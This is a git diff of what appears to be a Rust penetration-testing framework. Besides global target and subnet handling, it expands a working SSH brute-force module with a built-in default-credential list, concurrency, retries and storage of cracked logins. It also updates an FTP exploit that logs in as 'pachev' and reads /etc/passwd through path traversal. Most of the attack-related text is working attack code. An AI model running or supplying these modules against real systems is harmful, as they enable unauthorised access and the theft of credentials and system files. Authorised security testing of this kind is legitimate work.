let target = normalize_target(&target_str)?;
|
||||
|
||||
let mut parts = resolved.splitn(2, '/');
|
||||
let category = parts.next().unwrap_or("");
|
||||
|
||||
+194
@@ -0,0 +1,194 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use std::sync::{Arc, RwLock};
|
||||
use ipnetwork::IpNetwork;
|
||||
|
||||
/// Global configuration for the framework
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct GlobalConfig {
|
||||
/// Global target - can be a single IP or CIDR subnet
|
||||
target: Arc<RwLock<Option<TargetConfig>>>,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
pub enum TargetConfig {
|
||||
/// Single IP address or hostname
|
||||
Single(String),
|
||||
/// CIDR subnet (e.g., "192.168.1.0/24")
|
||||
Subnet(IpNetwork),
|
||||
}
|
||||
|
||||
impl GlobalConfig {
|
||||
/// Create a new global configuration
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
target: Arc::new(RwLock::new(None)),
|
||||
}
|
||||
}
|
||||
|
||||
/// Set the global target (IP, hostname, or CIDR subnet)
|
||||
pub fn set_target(&self, target: &str) -> Result<()> {
|
||||
let trimmed = target.trim();
|
||||
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty"));
|
||||
}
|
||||
|
||||
// Try to parse as CIDR subnet first
|
||||
if let Ok(network) = trimmed.parse::<IpNetwork>() {
|
||||
let mut target_guard = self.target.write().unwrap();
|
||||
*target_guard = Some(TargetConfig::Subnet(network));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Otherwise, treat as single IP or hostname
|
||||
let mut target_guard = self.target.write().unwrap();
|
||||
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Get the global target as a single string (for display)
|
||||
pub fn get_target(&self) -> Option<String> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
target_guard.as_ref().map(|t| match t {
|
||||
TargetConfig::Single(ip) => ip.clone(),
|
||||
TargetConfig::Subnet(net) => net.to_string(),
|
||||
})
|
||||
}
|
||||
|
||||
/// Get a single IP address from the global target
|
||||
/// For subnets, returns the network address (first IP)
|
||||
pub fn get_single_target_ip(&self) -> Result<String> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
|
||||
match target_guard.as_ref() {
|
||||
Some(TargetConfig::Single(ip)) => {
|
||||
Ok(ip.clone())
|
||||
}
|
||||
Some(TargetConfig::Subnet(net)) => {
|
||||
// Return the network address (first IP in the subnet)
|
||||
Ok(net.network().to_string())
|
||||
}
|
||||
None => Err(anyhow!("No global target set")),
|
||||
}
|
||||
}
|
||||
|
||||
/// Get all IP addresses from the global target
|
||||
/// Returns a vector of IP addresses (expands subnets)
|
||||
/// For very large subnets (> 65536 IPs), returns an error
|
||||
pub fn get_target_ips(&self) -> Result<Vec<String>> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
|
||||
match target_guard.as_ref() {
|
||||
Some(TargetConfig::Single(ip)) => {
|
||||
// For single IP/hostname, return as-is
|
||||
Ok(vec![ip.clone()])
|
||||
}
|
||||
Some(TargetConfig::Subnet(net)) => {
|
||||
// Check subnet size to prevent memory issues
|
||||
// Calculate size from prefix length: 2^(32-prefix) for IPv4, 2^(128-prefix) for IPv6
|
||||
let size = match net {
|
||||
IpNetwork::V4(net4) => {
|
||||
let prefix = net4.prefix() as u32;
|
||||
if prefix >= 32 {
|
||||
1u64
|
||||
} else {
|
||||
2u64.pow(32 - prefix)
|
||||
}
|
||||
}
|
||||
IpNetwork::V6(net6) => {
|
||||
let prefix = net6.prefix() as u32;
|
||||
if prefix >= 128 {
|
||||
1u64
|
||||
} else {
|
||||
// For very large IPv6 subnets, cap at u64::MAX
|
||||
let exp = 128u32.saturating_sub(prefix);
|
||||
if exp > 63 {
|
||||
u64::MAX
|
||||
} else {
|
||||
2u64.pow(exp)
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
const MAX_SUBNET_SIZE: u64 = 65536; // Limit to /16 or smaller
|
||||
|
||||
if size > MAX_SUBNET_SIZE {
|
||||
return Err(anyhow!(
|
||||
"Subnet too large ({} IPs). Maximum allowed: {} IPs. Use a smaller subnet or use 'get_single_target_ip' for a single IP.",
|
||||
size, MAX_SUBNET_SIZE
|
||||
));
|
||||
}
|
||||
|
||||
// Expand subnet to individual IPs
|
||||
let mut ips = Vec::new();
|
||||
for ip in net.iter() {
|
||||
ips.push(ip.to_string());
|
||||
}
|
||||
Ok(ips)
|
||||
}
|
||||
None => Err(anyhow!("No global target set")),
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if global target is set
|
||||
pub fn has_target(&self) -> bool {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
target_guard.is_some()
|
||||
}
|
||||
|
||||
/// Check if global target is a subnet
|
||||
pub fn is_subnet(&self) -> bool {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
matches!(target_guard.as_ref(), Some(TargetConfig::Subnet(_)))
|
||||
}
|
||||
|
||||
/// Get the size of the target (number of IPs)
|
||||
/// For single IPs, returns 1
|
||||
/// For subnets, returns the subnet size without expanding
|
||||
pub fn get_target_size(&self) -> Option<u64> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
match target_guard.as_ref() {
|
||||
Some(TargetConfig::Single(_)) => Some(1),
|
||||
Some(TargetConfig::Subnet(net)) => {
|
||||
// Calculate size from prefix length
|
||||
let size = match net {
|
||||
IpNetwork::V4(net4) => {
|
||||
let prefix = net4.prefix() as u32;
|
||||
if prefix >= 32 {
|
||||
1u64
|
||||
} else {
|
||||
2u64.pow(32 - prefix)
|
||||
}
|
||||
}
|
||||
IpNetwork::V6(net6) => {
|
||||
let prefix = net6.prefix() as u32;
|
||||
if prefix >= 128 {
|
||||
1u64
|
||||
} else {
|
||||
let exp = 128u32.saturating_sub(prefix);
|
||||
if exp > 63 {
|
||||
u64::MAX
|
||||
} else {
|
||||
2u64.pow(exp)
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
Some(size)
|
||||
}
|
||||
None => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Clear the global target
|
||||
pub fn clear_target(&self) {
|
||||
let mut target_guard = self.target.write().unwrap();
|
||||
*target_guard = None;
|
||||
}
|
||||
}
|
||||
|
||||
/// Global configuration instance
|
||||
use once_cell::sync::Lazy;
|
||||
|
||||
pub static GLOBAL_CONFIG: Lazy<GlobalConfig> = Lazy::new(|| GlobalConfig::new());
|
||||
|
||||
@@ -7,6 +7,7 @@ mod commands;
|
||||
mod modules;
|
||||
mod utils;
|
||||
mod api;
|
||||
mod config;
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<()> {
|
||||
@@ -35,6 +36,12 @@ async fn main() -> Result<()> {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Set global target if provided
|
||||
if let Some(ref target) = cli_args.set_target {
|
||||
config::GLOBAL_CONFIG.set_target(target)?;
|
||||
println!("✓ Global target set to: {}", target);
|
||||
}
|
||||
|
||||
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
|
||||
if let Some(cmd) = &cli_args.command {
|
||||
commands::handle_command(cmd, &cli_args).await?;
|
||||
|
||||
@@ -293,13 +293,13 @@ async fn try_fortinet_login(
|
||||
form_data.insert("password", password.to_string());
|
||||
form_data.insert("ajax", "1".to_string());
|
||||
|
||||
if let Some(ref r) = realm {
|
||||
if let Some(r) = realm {
|
||||
if !r.is_empty() {
|
||||
form_data.insert("realm", r.clone());
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(ref token) = csrf_token {
|
||||
if let Some(token) = csrf_token {
|
||||
form_data.insert("magic", token.clone());
|
||||
}
|
||||
|
||||
@@ -368,7 +368,7 @@ async fn try_fortinet_login(
|
||||
|
||||
// Check redirect location
|
||||
if status.as_u16() == 302 {
|
||||
if let Some(ref loc_str) = location_header {
|
||||
if let Some(loc_str) = location_header {
|
||||
if loc_str.contains("/remote/index")
|
||||
|| loc_str.contains("portal")
|
||||
|| loc_str.contains("index")
|
||||
|
||||
@@ -1,41 +1,185 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
collections::HashSet,
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::{TcpStream, ToSocketAddrs},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
sync::{
|
||||
atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
Arc,
|
||||
},
|
||||
time::Instant,
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use regex::Regex;
|
||||
use tokio::{sync::Mutex, task::spawn_blocking, time::{sleep, Duration}};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
task::spawn_blocking,
|
||||
time::{sleep, Duration, timeout},
|
||||
};
|
||||
|
||||
// Constants
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("root", "root"),
|
||||
("admin", "admin"),
|
||||
("user", "user"),
|
||||
("guest", "guest"),
|
||||
("root", "123456"),
|
||||
("admin", "123456"),
|
||||
("root", "password"),
|
||||
("admin", "password"),
|
||||
("root", ""),
|
||||
("admin", ""),
|
||||
("ubuntu", "ubuntu"),
|
||||
("test", "test"),
|
||||
("oracle", "oracle"),
|
||||
];
|
||||
|
||||
// Statistics tracking
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful_attempts: AtomicU64,
|
||||
failed_attempts: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
retried_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful_attempts: AtomicU64::new(0),
|
||||
failed_attempts: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
retried_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn record_retry(&self) {
|
||||
self.retried_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let retries = self.retried_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
|
||||
|
||||
print!(
|
||||
"\r{} {} attempts | {} OK | {} fail | {} err | {} retry | {:.1}/s ",
|
||||
"[Progress]".cyan(),
|
||||
total.to_string().bold(),
|
||||
success.to_string().green(),
|
||||
failed,
|
||||
errors.to_string().red(),
|
||||
retries,
|
||||
rate
|
||||
);
|
||||
let _ = std::io::Write::flush(&mut std::io::stdout());
|
||||
}
|
||||
|
||||
fn print_final(&self) {
|
||||
println!();
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
||||
let failed = self.failed_attempts.load(Ordering::Relaxed);
|
||||
let errors = self.error_attempts.load(Ordering::Relaxed);
|
||||
let retries = self.retried_attempts.load(Ordering::Relaxed);
|
||||
let elapsed = self.start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("{}", "=== Statistics ===".bold());
|
||||
println!(" Total attempts: {}", total);
|
||||
println!(" Successful: {}", success.to_string().green().bold());
|
||||
println!(" Failed: {}", failed);
|
||||
println!(" Errors: {}", errors.to_string().red());
|
||||
println!(" Retries: {}", retries);
|
||||
println!(" Elapsed time: {:.2}s", elapsed);
|
||||
if elapsed > 0.0 {
|
||||
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== SSH Brute Force Module ===");
|
||||
println!("{}", "=== SSH Brute Force Module ===".bold());
|
||||
println!("[*] Target: {}", target);
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("SSH Port", "22")?;
|
||||
let input = prompt_default("SSH Port", &DEFAULT_SSH_PORT.to_string())?;
|
||||
match input.parse() {
|
||||
Ok(p) => break p,
|
||||
Err(_) => println!("Invalid port. Try again."),
|
||||
Ok(p) if p > 0 => break p,
|
||||
_ => println!("{}", "Invalid port. Must be between 1 and 65535.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let usernames_file = prompt_existing_file("Username wordlist")?;
|
||||
let passwords_file = prompt_existing_file("Password wordlist")?;
|
||||
// Ask about default credentials
|
||||
let use_defaults = prompt_yes_no("Try default credentials first?", true)?;
|
||||
|
||||
let usernames_file = if prompt_yes_no("Use username wordlist?", true)? {
|
||||
Some(prompt_existing_file("Username wordlist")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file = if prompt_yes_no("Use password wordlist?", true)? {
|
||||
Some(prompt_existing_file("Password wordlist")?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
|
||||
}
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 => break n,
|
||||
_ => println!("Invalid number. Try again."),
|
||||
Ok(n) if n > 0 && n <= 256 => break n,
|
||||
_ => println!("{}", "Invalid number. Must be between 1 and 256.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let connection_timeout: u64 = loop {
|
||||
let input = prompt_default("Connection timeout (seconds)", "5")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n >= 1 && n <= 60 => break n,
|
||||
_ => println!("{}", "Invalid timeout. Must be between 1 and 60 seconds.".yellow()),
|
||||
}
|
||||
};
|
||||
|
||||
let retry_on_error = prompt_yes_no("Retry on connection errors?", true)?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
loop {
|
||||
let input = prompt_default("Max retries per attempt", "2")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 && n <= 10 => break n,
|
||||
_ => println!("{}", "Invalid retries. Must be between 1 and 10.".yellow()),
|
||||
}
|
||||
}
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true)?;
|
||||
let save_path = if save_results {
|
||||
@@ -48,47 +192,98 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
let connect_addr = normalize_target(target, port)?;
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
println!("\n{}", format!("[*] Starting brute-force on {}", connect_addr).cyan());
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", connect_addr);
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
println!("[!] Username wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
println!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
println!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
println!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
let passwords = load_lines(&passwords_file)?;
|
||||
if passwords.is_empty() {
|
||||
println!("[!] Password wordlist is empty or invalid. Exiting.");
|
||||
return Ok(());
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let users = Arc::new(users);
|
||||
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
|
||||
// Calculate total attempts
|
||||
let total_attempts = if combo_mode {
|
||||
usernames.len() * passwords.len()
|
||||
} else {
|
||||
passwords.len()
|
||||
};
|
||||
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
|
||||
println!();
|
||||
|
||||
let found = Arc::new(Mutex::new(HashSet::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(Statistics::new());
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
|
||||
// Generate credential pairs
|
||||
let mut tasks = Vec::new();
|
||||
let mut user_cycle_idx = 0usize;
|
||||
|
||||
for pass in passwords {
|
||||
for pass in passwords.iter() {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let selected_users: Vec<String> = if combo_mode {
|
||||
users.iter().cloned().collect()
|
||||
usernames.iter().cloned().collect()
|
||||
} else {
|
||||
if users.is_empty() {
|
||||
if usernames.is_empty() {
|
||||
Vec::new()
|
||||
} else {
|
||||
let user = users[user_cycle_idx % users.len()].clone();
|
||||
let user = usernames[user_cycle_idx % usernames.len()].clone();
|
||||
user_cycle_idx += 1;
|
||||
vec![user]
|
||||
}
|
||||
};
|
||||
|
||||
if selected_users.is_empty() {
|
||||
continue;
|
||||
}
|
||||
|
||||
for user in selected_users {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
@@ -99,57 +294,80 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let semaphore_clone = semaphore.clone();
|
||||
let timeout_clone = timeout_duration;
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
let retry_flag = retry_on_error;
|
||||
let max_retries_clone = max_retries;
|
||||
|
||||
let permit = semaphore_clone.acquire_owned().await.unwrap();
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_ssh_login(&addr_clone, &user_clone, &pass_clone).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone);
|
||||
found_clone
|
||||
.lock()
|
||||
.await
|
||||
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
let mut retries = 0;
|
||||
loop {
|
||||
match try_ssh_login(&addr_clone, &user_clone, &pass_clone, timeout_clone).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green());
|
||||
let mut found_guard = found_clone.lock().await;
|
||||
found_guard.insert((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
break;
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
|
||||
}
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_attempt(false, true);
|
||||
if retry_flag && retries < max_retries_clone {
|
||||
retries += 1;
|
||||
stats_clone.record_retry();
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {} -> {}:{} (retry {}/{})", addr_clone, user_clone, pass_clone, retries, max_retries_clone).yellow());
|
||||
}
|
||||
sleep(Duration::from_millis(500)).await;
|
||||
continue;
|
||||
} else {
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {} -> {}:{} error: {}", addr_clone, user_clone, pass_clone, e).red());
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
}));
|
||||
|
||||
if tasks.len() >= concurrency {
|
||||
if let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
log(verbose, &format!("[!] Task join error: {}", e));
|
||||
}
|
||||
// Wait for all tasks
|
||||
for task in tasks {
|
||||
let _ = task.await;
|
||||
}
|
||||
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
stats.print_final();
|
||||
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
println!("\n{}", "[-] No credentials found.".yellow());
|
||||
} else {
|
||||
println!("\n[+] Valid credentials:");
|
||||
println!("\n{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host, user, pass);
|
||||
}
|
||||
@@ -160,35 +378,47 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
for (host, user, pass) in creds.iter() {
|
||||
writeln!(file, "{} -> {}:{}", host, user, pass)?;
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
file.flush()?;
|
||||
println!("{}", format!("[+] Results saved to '{}'", filename.display()).green());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn try_ssh_login(normalized_addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
async fn try_ssh_login(
|
||||
normalized_addr: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
timeout_duration: Duration,
|
||||
) -> Result<bool> {
|
||||
let user_owned = user.to_string();
|
||||
let pass_owned = pass.to_string();
|
||||
let addr_owned = normalized_addr.to_string();
|
||||
|
||||
let result = spawn_blocking(move || {
|
||||
match TcpStream::connect(&addr_owned) {
|
||||
Ok(tcp) => {
|
||||
let mut sess = Session::new()?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
sess.handshake()?;
|
||||
match sess.userauth_password(&user_owned, &pass_owned) {
|
||||
Ok(_) => Ok(sess.authenticated()),
|
||||
Err(_) => Ok(false),
|
||||
}
|
||||
}
|
||||
Err(e) => Err(anyhow!("Connection error to {}: {}", addr_owned, e)),
|
||||
}
|
||||
})
|
||||
.await??;
|
||||
let result = timeout(
|
||||
timeout_duration,
|
||||
spawn_blocking(move || {
|
||||
let tcp = TcpStream::connect(&addr_owned)
|
||||
.map_err(|e| anyhow!("Connection error: {}", e))?;
|
||||
|
||||
let mut sess = Session::new()
|
||||
.map_err(|e| anyhow!("Failed to create SSH session: {}", e))?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
|
||||
sess.handshake()
|
||||
.map_err(|e| anyhow!("SSH handshake failed: {}", e))?;
|
||||
|
||||
sess.userauth_password(&user_owned, &pass_owned)
|
||||
.map_err(|e| anyhow!("Authentication failed: {}", e))?;
|
||||
|
||||
Ok(sess.authenticated())
|
||||
}),
|
||||
)
|
||||
.await
|
||||
.map_err(|_| anyhow!("Connection timeout"))??;
|
||||
|
||||
Ok(result)
|
||||
result
|
||||
}
|
||||
|
||||
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
|
||||
@@ -293,12 +523,6 @@ fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn log(verbose: bool, msg: &str) {
|
||||
if verbose {
|
||||
println!("{}", msg);
|
||||
}
|
||||
}
|
||||
|
||||
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
|
||||
let path_candidate = Path::new(input_path_str)
|
||||
.file_name()
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,8 +1,7 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use ftp::FtpStream;
|
||||
use std::net::ToSocketAddrs;
|
||||
use suppaftp::FtpStream;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{self, copy, BufRead, BufReader, Write};
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::path::Path;
|
||||
use tokio::task;
|
||||
use tokio::sync::Semaphore;
|
||||
@@ -35,12 +34,8 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
|
||||
|
||||
println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
|
||||
|
||||
// Resolve address with better error handling
|
||||
let socket_addr = addr.to_socket_addrs()?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow!("Failed to resolve address: {}", addr))?;
|
||||
|
||||
let mut ftp = FtpStream::connect(socket_addr)
|
||||
// Connect to FTP server
|
||||
let mut ftp = FtpStream::connect(&addr)
|
||||
.map_err(|e| anyhow!("FTP connection error to {}: {}", addr, e))?;
|
||||
|
||||
ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
|
||||
@@ -48,15 +43,19 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
|
||||
|
||||
println!("{}", "[*] Attempting to retrieve /etc/passwd via path traversal...".yellow());
|
||||
|
||||
let reader = ftp.simple_retr("../../../../../../../../etc/passwd")
|
||||
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?
|
||||
.into_inner();
|
||||
let mut reader = std::io::Cursor::new(reader);
|
||||
|
||||
let safe_name = target.replace(['[', ']', ':'], "_");
|
||||
let out_file = format!("{}_passwd.txt", safe_name);
|
||||
let mut file = File::create(&out_file)?;
|
||||
copy(&mut reader, &mut file)?;
|
||||
|
||||
ftp.retr("../../../../../../../../etc/passwd", |reader| -> Result<(), suppaftp::FtpError> {
|
||||
io::copy(reader, &mut file)
|
||||
.map_err(|e| suppaftp::FtpError::ConnectionError(std::io::Error::new(
|
||||
std::io::ErrorKind::Other,
|
||||
format!("Failed to write file: {}", e)
|
||||
)))?;
|
||||
Ok(())
|
||||
})
|
||||
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?;
|
||||
|
||||
ftp.quit().ok();
|
||||
|
||||
|
||||
@@ -7,12 +7,12 @@ use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::net::{IpAddr, SocketAddr, ToSocketAddrs};
|
||||
use std::path::Path;
|
||||
use std::time::Duration;
|
||||
use trust_dns_client::client::{AsyncClient, ClientHandle};
|
||||
use trust_dns_client::proto::op::ResponseCode;
|
||||
use trust_dns_client::rr::{DNSClass, Name, RecordType};
|
||||
use trust_dns_client::udp::UdpClientStream;
|
||||
use trust_dns_proto::op::Message;
|
||||
use trust_dns_proto::xfer::DnsResponse;
|
||||
use hickory_client::client::{AsyncClient, ClientHandle};
|
||||
use hickory_client::proto::op::ResponseCode;
|
||||
use hickory_client::rr::{DNSClass, Name, RecordType};
|
||||
use hickory_client::udp::UdpClientStream;
|
||||
use hickory_proto::op::Message;
|
||||
use hickory_proto::xfer::DnsResponse;
|
||||
use tokio::net::UdpSocket;
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
|
||||
@@ -1,17 +1,25 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use ipnet::IpNet;
|
||||
use libc;
|
||||
use pnet_packet::ip::IpNextHeaderProtocols;
|
||||
use pnet_packet::ipv4::{self, MutableIpv4Packet};
|
||||
